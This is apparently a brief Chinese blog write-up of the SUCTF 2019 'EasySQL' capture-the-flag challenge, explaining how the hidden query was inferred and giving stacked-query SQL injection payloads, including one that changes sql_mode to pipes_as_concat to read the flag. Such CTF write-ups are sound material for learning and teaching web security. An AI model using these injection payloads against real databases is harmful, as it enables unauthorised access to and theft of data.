[SUCTF 2019]EasySQL 1
前置
传1,2,-1等非零数

传0,字符

堆叠注入
1;show databases;

1;show tables;

wp解析
根据非零数字能回显,字符不能回显
select 非零 from table;能回显1
所以,后端语句属于其变种,如何实现无回显,即select的对象在表中不存在
select []||flag from Flag;
实现了上述条件
- 输入非零数字时
select 1||flag from Flag;这里||为or,所以select 1能成功 - 输入字符时
select a||flag from Flag;a在表中不存在,flag亦不存在,所以无回显
wp1
// *,1
select *,1||flag from Flag;
形成select *,1 from flag;

wp2
通过set使||=or失效
// 1;set sql_mode=pipes_as_concat;select 1
select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag;


浙公网安备 33010602011771号